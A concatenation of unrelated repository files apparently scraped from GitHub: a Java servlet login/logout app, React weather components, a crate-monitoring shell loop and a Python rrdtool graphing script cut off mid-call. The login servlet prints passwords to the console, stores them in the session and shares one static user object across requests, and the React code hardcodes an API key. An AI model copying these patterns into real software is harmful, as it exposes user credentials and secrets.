public class LogInServlet extends HttpServlet {
public static UserDaoImpl dao = new UserDaoImpl();
public static Users check = null;
static Logger log = Logger.getLogger(LogInServlet.class);
private static final long serialVersionUID = 1L;
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOPOST this working?");// receiving personal information that should be
// delivered with post
req.getRequestDispatcher(process(req, res));
// information within the same page
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException {
String username = req.getParameter("firstname");
String password = req.getParameter("password");
try {
//log4j
log.info("going into try");
log.info(check = dao.getUserLogin(username, password));
check = dao.getUserLogin(username, password);
System.out.println("entering try catch");
System.out.println(check.getFirstname());
System.out.println(check.getPassword());
//Session
req.getSession().setAttribute("loggeduser", check);
req.getSession().setAttribute("loggedpassword", password);
if ((check.getFirstname().equals(username)) && (check.getPassword().equals(password))) {
System.out.println(" so close");
if (check.getRoleId() > 1) {
System.out.println(" you are an admin");
res.sendRedirect("AdminSuccess.html");
} else {
System.out.println(" you are an employee");
res.sendRedirect("EmployeeSuccess.html");
}
}
}
catch (NullPointerException e) {
System.out.println("in catch");
// return "unsuccessfulLogin.html";
res.sendRedirect("UnsuccessfulLogIn.html");
}
return null;
}
}
<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/LogOutServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class LogOutServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOPOST this working?");// receiving personal information that should be
// delivered with post
req.getRequestDispatcher(process(req, res));
// information within the same page
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException {
HttpSession session = req.getSession();
session.invalidate();//session
LogInServlet.check.setFirstname("");
LogInServlet.check.setLastname("");
LogInServlet.check.setPassword("");
LogInServlet.check.setUserId(0);
LogInServlet.check.setRoleId(0);
res.sendRedirect("LogInMain.html");
return null;
}
}
<file_sep>/Project1_rev1/src/main/java/com/revature/servlets/GetUserByIDServlet.java
package com.revature.servlets;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.revature.daoImpl.UserDaoImpl;
public class GetUserByIDServlet extends HttpServlet {
static UserDaoImpl udao = new UserDaoImpl();
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
System.out.println("IN DOGET this working?"); // request information that is being sent from
// the client is being passed into here, and then
// being passed into the request helper's method
// called "process"
req.getRequestDispatcher(process(req, res));
}
public static String process(HttpServletRequest req, HttpServletResponse res) throws IOException, JsonProcessingException {
System.out.println("IN PROCESS");
System.out.println("SETTING PARAMETERS");
int userid =LogInServlet.check.getUserId();
System.out.println(" PARAMETERS SET");
System.out.println(udao.getUserInfo(userid));
//Json
res.getWriter().write(new ObjectMapper().writeValueAsString(udao.getUserInfo(userid)));
return null;
}
}
| fd5923e9c6002c8d902b324bc11765bd1cc7d84d | [
"Markdown",
"Java",
"SQL"
] | 10 | Java | Jolie-G/P1 | 447cee8c601a07623449a4b3f2925ecbc1aea98f | e83a60d7bb5eb27b9b309207bd81e95f4fdcfd94 |
refs/heads/master | <repo_name>hazem-kamel/Weather-KISKA<file_sep>/src/components/timeandcity/TimeCity.js
import { render } from '@testing-library/react';
import React from 'react';
import moment from 'moment'
import './TimeCity.css'
const TimeAndCity = props => {
return(
<div style={{display:"flex", padding:"60px" }}>
<div className="time">
<h3>{moment().format("h:mm a")}</h3>
<h4>{moment().format("dddd, MMMM Do YYYY")}</h4>
</div>
<div className="city">
<h3>{props.city}</h3>
<h5>Austria</h5>
</div>
</div>
)
}
export default TimeAndCity<file_sep>/src/components/weather/Weather.js
import React from 'react';
//import bootstrap
// import 'bootstrap/dist/css/bootstrap.min.css';
import './Weather.css'
// import Weather icons
import 'weather-icons/css/weather-icons.css';
import moment from 'moment'
class Weather extends React.Component{
constructor(props){
super(props);
this.state={
icon:[],
error:false,
fiveWeatherData:[],
displayData:[],
state:''
}
}
componentDidMount(){
this.state.displayData.length=0
this.state.fiveWeatherData.length=0
console.log('entered here')
this.setState({state:this.props.city})
this.getWeather(this.props.city);
}
componentWillReceiveProps(nextProps,prevState){
if(nextProps.city !== this.props.city){
console.log(nextProps.city)
this.state.displayData.length=0
this.state.fiveWeatherData.length=0
this.setState({state:nextProps.city})
this.getWeather(nextProps.city);
}
}
getWeather = async(city)=>{
const Api_key='8cc1f7a80f278edcf892761e33af1953'
// const {city , country } =this.state
// const {city} = this.props
const api_call=await fetch(`https://api.openweathermap.org/data/2.5/forecast?q=${city} &appid=${Api_key}`,
{ method: 'GET',
mode: 'cors',
header:{
'Access-Control-Allow-Origin': '*'
}
})
const response=await api_call.json();
this.state.fiveWeatherData.push(response.list[0])
response.list.map(forecast => {
if(forecast.dt_txt.split(' ')[0] !== response.list[0].dt_txt.split(' ')[0] && forecast.dt_txt.split(' ')[1] === response.list[0].dt_txt.split(' ')[1] ) {
this.state.fiveWeatherData.push(forecast)
}
})
let temp=[]
this.state.fiveWeatherData.map(day => {
var dayday = moment(day.dt_txt, "YYYY-MM-DD HH:mm:ss")
temp.push
({
"celsius":this.celsiusConvert(day.main.temp),
"wind":day.wind.speed,
"desc":day.weather[0].description,
"max":this.celsiusConvert(day.main.temp_max),
"min":this.celsiusConvert(day.main.temp_min),
"humidity":day.main.humidity,
"pressure":day.main.pressure,
"day":dayday.format('dddd')
})
this.get_WeatherIcon(this.weatherIcon,day.weather[0].id)
})
this.setState({displayData:temp})
}
celsiusConvert(temp){
let celsius=Math.floor(temp-273.15)
return celsius
}
weatherIcon={
Thunderstorm:'wi-thunderstorm',
Drizzle:'wi-sleet',
Rain:'wi-storm-showers',
Snow:'wi-snow',
Atmosphere:'wi-fog',
Clear:'wi-day-sunny',
Clouds:'wi-day-fog'
}
get_WeatherIcon(icons,rangeID){
switch(true){
case rangeID>=200 && rangeID<=232:
this.state.icon.push(this.weatherIcon.Thunderstorm)
break;
case rangeID>=300 && rangeID<=321:
this.state.icon.push(this.weatherIcon.Drizzle)
break;
case rangeID>=500 && rangeID<=531:
this.state.icon.push(this.weatherIcon.Rain)
break;
case rangeID>=600 && rangeID<=622:
this.state.icon.push(this.weatherIcon.Snow)
break;
case rangeID>=701 && rangeID<=781:
this.state.icon.push(this.weatherIcon.Atmosphere)
break;
case rangeID === 800:
this.state.icon.push(this.weatherIcon.Clear)
break;
case rangeID>=801 && rangeID<=804:
this.state.icon.push(this.weatherIcon.Clouds)
break;
default:
this.state.icon.push(this.weatherIcon.Clouds)
}
}
render(){
const {celsius,description,wind,icon,displayData} = this.state
return (
<div className='container'>
{
displayData.map((day,index) =>
(
<div onClick={()=>this.setState({show:!this.state.show})} className="card">
<i style={{fontSize:"40px"}} className={`wi ${icon[index]} display-1`}></i>
{index === 0 ? <h1>Today</h1> : <h3>{day.day}</h3>}
<h2>{day.celsius}° </h2>
<h4>{day.desc}</h4>
<h3>{day.wind} m/s </h3>
</div>
))}
</div>
)
}
}
export default Weather; | 77f5a5e83442fa6407ec0675c8495292d2858c50 | [
"JavaScript"
] | 2 | JavaScript | hazem-kamel/Weather-KISKA | 3f9fdbdca253c7cc9f9d3e45b6f5aa5022697d0b | 68a8884d0b6768d6d5f8375c9ad704d5272163d0 |
refs/heads/master | <file_sep>#include "Whitebox.h"
//static const uint8_t tbox[10][16][256];
//static const uint8_t sbox[16][16];
int main()
{
unsigned int key[16]; //저장될 키
find_key(sbox,tbox, key); // key => { <KEY> 0x74, 0x21, 0x73, 0x56, 0x42, 0x38, 0x44, 0x4f, 0x4d, 0x71 };
rev_sr(key); // 키 복호화(역연산)
res_key(key); // 복호화한 키를 출력하는 함수
// Key is B<KEY>
}
<file_sep>#include "Whitebox.h"
void find_key(const uint8_t sbow[16][16], const uint8_t tbox[10][16][256], unsigned int key[16])
{
for (int k = 0; k < 16; k++) {
unsigned int i = 0;
for (; i < 16; i++) {
for (unsigned int j = 0; j < 16; j++)
{
if (sbox[i][j] == tbox[0][k][0])
{
key[k] = <KEY>;
}
}
}
}
}
void sr(unsigned int out[16])
{
unsigned int i, k, s, tmp;
for (i = 1; i < 4; i++) {
s = 0;
while (s < i) {
tmp = out[i];
for (k = 0; k < 3; k++) {
out[k * 4 + i] = out[k * 4 + i + 4];
}
out[i + 12] = tmp;
s++;
}
}
}
void rev_sr(unsigned int out[16])
{
unsigned int i, s, tmp;
for (i = 1; i < 4; i++)
{
s = 0;
while (s < i) {
tmp = out[i + 12];
for (int k = 2; k >= 0; k--)
{
out[k * 4 + i + 4] = out[k * 4 + i];
}
out[i] = tmp;
s++;
}
}
}
void res_key(unsigned int out[16])
{
for (int i = 0; i < 16; i++) {
printf("%c", out[i]);
}
printf("\n");
} | 595419694cbfc5f3924e0dc9831f132f22a40e70 | [
"C++"
] | 2 | C++ | kgw100/Whitebox_AES_Decrypt | c2117860be83012d4bb2ae88a689a597479e74e9 | a630f912aefac8db6c778c889ec8b4134628aaa7 |
refs/heads/main | <file_sep>from tkinter import *
win = Tk()
win.geometry("425x278")
win.title("myCalc")
win.resizable(0,0)
win.configure(background="black")
a = StringVar()
def show(c):
a.set(a.get()+c)
def equ():
try:
eq = a.get()
a.set(eval(eq))
except:
a.set("Error ")
def clear():
a.set("")
#screen["state"]="normal"
#ex = screen.get()
#ex = ex[0:len(ex) - 1]
#screen.delete(0,END)
#screen.insert(0,ex)
#screen["state"]="disabled"
screen = Entry(win,font=("",30),justify="right",bg="light blue",textvariable=a,state="disabled")
screen.place(x=5,y=5,width=414,height=50)
b1 = Button(win,text="7",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b1.place(x=5,y=60,width=100,height=50)
b1.configure(command=lambda:show("7"))
b2 = Button(win,text="8",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b2.place(x=110,y=60,width=100,height=50)
b2.configure(command=lambda:show("8"))
b3 = Button(win,text="9",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b3.place(x=215,y=60,width=100,height=50)
b3.configure(command=lambda:show("9"))
b4 = Button(win,text="+",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b4.place(x=320,y=60,width=100,height=50)
b4.configure(command=lambda:show("+"))
b5 = Button(win,text="4",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b5.place(x=5,y=115,width=100,height=50)
b5.configure(command=lambda:show("4"))
b6 = Button(win,text="5",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b6.place(x=110,y=115,width=100,height=50)
b6.configure(command=lambda:show("5"))
b7 = Button(win,text="6",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b7.place(x=215,y=115,width=100,height=50)
b7.configure(command=lambda:show("6"))
b8 = Button(win,text="-",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b8.place(x=320,y=115,width=100,height=50)
b8.configure(command=lambda:show("-"))
b9 = Button(win,text="1",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b9.place(x=5,y=170,width=100,height=50)
b9.configure(command=lambda:show("1"))
b10 = Button(win,text="2",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b10.place(x=110,y=170,width=100,height=50)
b10.configure(command=lambda:show("2"))
b11 = Button(win,text="3",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b11.place(x=215,y=170,width=100,height=50)
b11.configure(command=lambda:show("3"))
b12 = Button(win,text="*",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b12.place(x=320,y=170,width=100,height=50)
b12.configure(command=lambda:show("*"))
b13 = Button(win,text="C",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b13.place(x=5,y=225,width=100,height=50)
b13.configure(command=clear)
b14 = Button(win,text="0",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b14.place(x=110,y=225,width=100,height=50)
b14.configure(command=lambda:show("0"))
b15 = Button(win,text="=",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b15.place(x=215,y=225,width=100,height=50)
b15.configure(command=equ)
b16 = Button(win,text="/",font=("",25),bg="grey",fg="white",activebackground="white",activeforeground="black")
b16.place(x=320,y=225,width=100,height=50)
b16.configure(command=lambda:show("/"))
win.mainloop() | 2f80532e62d6385cab8a0d84bcdc38b73c4125ea | [
"Python"
] | 1 | Python | insaneVirus15/Calculator | e26d1e6c544eaafd1d68423e58bb3f224d69f8e5 | b105532c1987cb5c84f562a7bd32e4cf9602a656 |
refs/heads/master | <repo_name>DonaldDerek/mas.500.hw1<file_sep>/electiondata.py
import urllib2
import json
from bs4 import BeautifulSoup
class ElectionResults:
def __init__(self, url):
self.url = url
def load(self):
c = 0
votes = []
header = ''
str_header = ''
response = urllib2.urlopen(self.url)
print "Fetching votes from archives.gov...[done]"
html = response.read()
soup = BeautifulSoup(html)
table = soup.find_all('table')[1]
for data in table:
if c == 1:
header = data
elif c >= 5:
if hasattr(data, 'get_text'):
v = data.get_text().split('\n')
v.pop()
votes.append(v[1:])
c += 1
f = open('election.cvs','w+')
header = header.get_text().split('\n')[1:]
header.pop()
self.votes = []
str_header = ','.join(header).encode('utf-8').strip()
self.votes.append(str_header)
f.write(str_header+"\n")
for vote in votes:
str_votes = ','.join(vote)
self.votes.append(str_votes)
f.write(str_votes+"\n")
print "saved in cvs format under election.cvs...[done]"
def states(self):
all_names = []
for line in self.votes:
columns = line.split(',')
all_names.append(columns[0])
all_names.pop()
return all_names[1:]
def state_count(self):
return len(self.states())
def pretty_json(self):
c = 0
vote_list = []
header = self.votes[0]
header = ''.join([i if ord(i) < 128 else ' ' for i in header])
header = header.split(',')
clean_header = []
for val in header:
clean_header.append(val.strip().split(' ')[0])
self.votes.pop()
for data in self.votes[1:]:
vote_dict = {}
data = data.split(',')
for value in data:
vote_dict[clean_header[c]] = str(value)
c += 1
c = 0
vote_list.append(vote_dict)
f = open('election.json','w+')
f.write(json.dumps(vote_list))
print 'saved in json format under election.json...[done]'
return json.dumps(vote_list,sort_keys=True, indent=4, separators=(',', ': '))
<file_sep>/app.py
from electiondata import ElectionResults
url = 'http://www.archives.gov/federal-register/electoral-college/2012/popular-vote.html'
results = ElectionResults(url)
results.load()
state_names = results.states()
print results.pretty_json()
print "done ("+str(results.state_count())+" lines)"
| 7d0fa41ce77c33e8e3f8362ece8d3a61541e761a | [
"Python"
] | 2 | Python | DonaldDerek/mas.500.hw1 | 99cb02441cb62098d8ad18868382bba0674f6c25 | 0ff5a6a0532f20ae20a403bdb354961603193492 |
refs/heads/master | <file_sep>#!/bin/bash
#If this works as excepted, just follow the naming conventions and don't worry about the monitoring.
#Nothing ever works as excpected though.
#for rack in 's1g01' 's1g03' 's1g04'
#do
# for crate in 18 27 36 45
# do
# /home/xtaldaq/cratemonitor_v3/natcat_cratemon.py mch-$rack-$crate
# done
#done
#===================
#Early stage testing
#===================
for rack in "s1g01" "s1g03" "s1g04"
do
for crate in 18 27 36 45
do
if [ $rack == "s1g01" ] && [ "$crate" == 18 ]
then
continue
else
/home/xtaldaq/cratemonitor_v3/natcat_cratemon_peace.py mch-$rack-$crate &
fi
done
done<file_sep>#!/usr/bin/env python
###############################################################################
import os
import socket
import sys
import pdb
import rrdtool
###############################################################################
if __name__ == "__main__":
filepath = '/home/xtaldaq/cratemonitor_v3/'
for rack in ['s1g01', 's1g03', 's1g04']:
for crate in ['18', '27','36','45']:
for sched in ['daily' , 'weekly', 'monthly']:
if sched == 'weekly':
period = 'w'
elif sched == 'daily':
period = 'd'
elif sched == 'monthly':
period = 'm'
#For the MCH databases
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-mchtemp.png".format(filepath,rack,crate,period),
"--start", "-1{0}".format(period),
"--vertical-label=FC7 Temperature (degC)",
"-w 400", "-h 240",
#"--slope-mode",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}rrd/mch-{1}-{2}.rrd:AMC1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}rrd/mch-{1}-{2}.rrd:AMC2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}rrd/mch-{1}-{2}.rrd:AMC3temp:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}rrd/mch-{1}-{2}.rrd:AMC4temp:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}rrd/mch-{1}-{2}.rrd:AMC5temp:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}rrd/mch-{1}-{2}.rrd:AMC6temp:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}rrd/mch-{1}-{2}.rrd:AMC7temp:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}rrd/mch-{1}-{2}.rrd:AMC8temp:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}rrd/mch-{1}-{2}.rrd:AMC9temp:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}rrd/mch-{1}-{2}.rrd:AMC10temp:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}rrd/mch-{1}-{2}.rrd:AMC11temp:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}rrd/mch-{1}-{2}.rrd:AMC12temp:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}rrd/mch-{1}-{2}.rrd:AMC13temp:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}rrd/mch-{1}-{2}.rrd:CU1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}rrd/mch-{1}-{2}.rrd:CU2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}rrd/mch-{1}-{2}.rrd:PM1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}rrd/mch-{1}-{2}.rrd:PM2temp:AVERAGE".format(filepath,rack,crate),
"LINE:t1#000000:AMC1",
"LINE:t2#FF0000:AMC2",
"LINE:t3#FF6600:AMC3",
"LINE:t4#FFFF00:AMC4",
"LINE:t5#99CC00:AMC5",
"LINE:t6#00FF00:AMC6",
"LINE:t7#00CC99:AMC7",
"LINE:t8#0099CC:AMC8",
"LINE:t9#0000FF:AMC9",
"LINE:t10#6600FF:AMC10",
"LINE:t11#FF00FF:AMC11",
"LINE:t12#FF0099:AMC12",
"LINE:t13#FF99CC:AMC13",
"LINE:t14#CC0000:CU1",
"LINE:t15#660000:CU2",
"LINE:t16#6633CC:PM1",
"LINE:t17#7755EE:PM2")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-curr.png".format(filepath,rack,crate,period),
"--start", "-1{0}".format(period),
"--vertical-label=FC7 Current 1V (A)",
"-w 400", "-h 215",
"--upper-limit=3.0", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}rrd/mch-{1}-{2}.rrd:AMC1curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}rrd/mch-{1}-{2}.rrd:AMC2curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}rrd/mch-{1}-{2}.rrd:AMC3curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}rrd/mch-{1}-{2}.rrd:AMC4curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}rrd/mch-{1}-{2}.rrd:AMC5curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}rrd/mch-{1}-{2}.rrd:AMC6curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}rrd/mch-{1}-{2}.rrd:AMC7curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}rrd/mch-{1}-{2}.rrd:AMC8curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}rrd/mch-{1}-{2}.rrd:AMC9curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}rrd/mch-{1}-{2}.rrd:AMC10curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}rrd/mch-{1}-{2}.rrd:AMC11curr1V0:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}rrd/mch-{1}-{2}.rrd:AMC12curr1V0:AVERAGE".format(filepath,rack,crate),
"CDEF:t1cal=t1,1.88,/",
"CDEF:t2cal=t2,1.88,/",
"CDEF:t3cal=t3,1.88,/",
"CDEF:t4cal=t4,1.88,/",
"CDEF:t5cal=t5,1.88,/",
"CDEF:t6cal=t6,1.88,/",
"CDEF:t7cal=t7,1.88,/",
"CDEF:t8cal=t8,1.88,/",
"CDEF:t9cal=t9,1.88,/",
"CDEF:t10cal=t10,1.88,/",
"CDEF:t11cal=t11,1.88,/",
"CDEF:t12cal=t12,1.88,/",
"VDEF:t1avg=t1cal,LAST",
"VDEF:t2avg=t2cal,LAST",
"VDEF:t3avg=t3cal,LAST",
"VDEF:t4avg=t4cal,LAST",
"VDEF:t5avg=t5cal,LAST",
"VDEF:t6avg=t6cal,LAST",
"VDEF:t7avg=t7cal,LAST",
"VDEF:t8avg=t8cal,LAST",
"VDEF:t9avg=t9cal,LAST",
"VDEF:t10avg=t10cal,LAST",
"VDEF:t11avg=t11cal,LAST",
"VDEF:t12avg=t12cal,LAST",
"LINE:t1cal#000000:AMC1",
"GPRINT:t1avg: %4.1lf %SA ",
"LINE:t2cal#FF0000:AMC2",
"GPRINT:t2avg: %4.1lf %SA ",
"LINE:t3cal#FF6600:AMC3",
"GPRINT:t3avg: %4.1lf %SA\l",
"LINE:t4cal#FFFF00:AMC4",
"GPRINT:t4avg: %4.1lf %SA ",
"LINE:t5cal#99CC00:AMC5",
"GPRINT:t5avg: %4.1lf %SA ",
"LINE:t6cal#00FF00:AMC6",
"GPRINT:t6avg: %4.1lf %SA\l",
"LINE:t7cal#00CC99:AMC7",
"GPRINT:t7avg: %4.1lf %SA ",
"LINE:t8cal#0099CC:AMC8",
"GPRINT:t8avg: %4.1lf %SA ",
"LINE:t9cal#0000FF:AMC9",
"GPRINT:t9avg: %4.1lf %SA\l",
"LINE:t10cal#6600FF:AMC10",
"GPRINT:t10avg:%2.1lf %SA ",
"LINE:t11cal#FF00FF:AMC11",
"GPRINT:t11avg:%2.1lf %SA ",
"LINE:t12cal#FF0099:AMC12",
"GPRINT:t12avg:%2.1lf %SA")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-12curr.png".format(filepath,rack,crate,period),
"--start", "-1{0}".format(period),
"--vertical-label=FC7 12V Current (A)",
"-w 400", "-h 215",
"--upper-limit=3.0", "--lower-limit=0.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}rrd/mch-{1}-{2}.rrd:AMC1curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}rrd/mch-{1}-{2}.rrd:AMC2curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}rrd/mch-{1}-{2}.rrd:AMC3curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}rrd/mch-{1}-{2}.rrd:AMC4curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}rrd/mch-{1}-{2}.rrd:AMC5curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}rrd/mch-{1}-{2}.rrd:AMC6curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}rrd/mch-{1}-{2}.rrd:AMC7curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}rrd/mch-{1}-{2}.rrd:AMC8curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}rrd/mch-{1}-{2}.rrd:AMC9curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}rrd/mch-{1}-{2}.rrd:AMC10curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}rrd/mch-{1}-{2}.rrd:AMC11curr12V0:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}rrd/mch-{1}-{2}.rrd:AMC12curr12V0:AVERAGE".format(filepath,rack,crate),
"CDEF:t1cal=t1,1.88,/",
"CDEF:t2cal=t2,1.88,/",
"CDEF:t3cal=t3,1.88,/",
"CDEF:t4cal=t4,1.88,/",
"CDEF:t5cal=t5,1.88,/",
"CDEF:t6cal=t6,1.88,/",
"CDEF:t7cal=t7,1.88,/",
"CDEF:t8cal=t8,1.88,/",
"CDEF:t9cal=t9,1.88,/",
"CDEF:t10cal=t10,1.88,/",
"CDEF:t11cal=t11,1.88,/",
"CDEF:t12cal=t12,1.88,/",
"VDEF:t1avg=t1cal,LAST",
"VDEF:t2avg=t2cal,LAST",
"VDEF:t3avg=t3cal,LAST",
"VDEF:t4avg=t4cal,LAST",
"VDEF:t5avg=t5cal,LAST",
"VDEF:t6avg=t6cal,LAST",
"VDEF:t7avg=t7cal,LAST",
"VDEF:t8avg=t8cal,LAST",
"VDEF:t9avg=t9cal,LAST",
"VDEF:t10avg=t10cal,LAST",
"VDEF:t11avg=t11cal,LAST",
"VDEF:t12avg=t12cal,LAST",
"LINE:t1cal#000000:AMC1",
"GPRINT:t1avg: %4.1lf %SA ",
"LINE:t2cal#FF0000:AMC2",
"GPRINT:t2avg: %4.1lf %SA ",
"LINE:t3cal#FF6600:AMC3",
"GPRINT:t3avg: %4.1lf %SA\l",
"LINE:t4cal#FFFF00:AMC4",
"GPRINT:t4avg: %4.1lf %SA ",
"LINE:t5cal#99CC00:AMC5",
"GPRINT:t5avg: %4.1lf %SA ",
"LINE:t6cal#00FF00:AMC6",
"GPRINT:t6avg: %4.1lf %SA\l",
"LINE:t7cal#00CC99:AMC7",
"GPRINT:t7avg: %4.1lf %SA ",
"LINE:t8cal#0099CC:AMC8",
"GPRINT:t8avg: %4.1lf %SA ",
"LINE:t9cal#0000FF:AMC9",
"GPRINT:t9avg: %4.1lf %SA\l",
"LINE:t10cal#6600FF:AMC10",
"GPRINT:t10avg:%2.1lf %SA ",
"LINE:t11cal#FF00FF:AMC11",
"GPRINT:t11avg:%2.1lf %SA ",
"LINE:t12cal#FF0099:AMC12",
"GPRINT:t12avg:%2.1lf %SA")
ret = rrdtool.graph( "{0}png/{1}-{2}-{3}-fmctemp.png".format(filepath, rack, crate, period),
"--start", "-1{0}".format(period),
"--vertical-label=FMC Temperature (degC)",
"-w 400", "-h 200",
#"--slope-mode",
#"--upper-limit=60.0", "--lower-limit=15.0","--rigid",
"-t Crate {0}-{1}".format(str.upper(rack), str.upper(crate)),
"DEF:t1={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t2={0}/rrd/amc-{1}-{2}-01.rrd:AMC1RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t3={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t4={0}/rrd/amc-{1}-{2}-02.rrd:AMC2RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t5={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t6={0}/rrd/amc-{1}-{2}-03.rrd:AMC3RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t7={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t8={0}/rrd/amc-{1}-{2}-04.rrd:AMC4RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t9={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t10={0}/rrd/amc-{1}-{2}-05.rrd:AMC5RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t11={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t12={0}/rrd/amc-{1}-{2}-06.rrd:AMC6RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t13={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t14={0}/rrd/amc-{1}-{2}-07.rrd:AMC7RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t15={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t16={0}/rrd/amc-{1}-{2}-08.rrd:AMC8RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t17={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t18={0}/rrd/amc-{1}-{2}-09.rrd:AMC9RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t19={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t20={0}/rrd/amc-{1}-{2}-10.rrd:AMC10RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t21={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t22={0}/rrd/amc-{1}-{2}-11.rrd:AMC11RX2temp:AVERAGE".format(filepath,rack,crate),
"DEF:t23={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX1temp:AVERAGE".format(filepath,rack,crate),
"DEF:t24={0}/rrd/amc-{1}-{2}-12.rrd:AMC12RX2temp:AVERAGE".format(filepath,rack,crate),
"LINE:t1#000000:FMC1RX1",
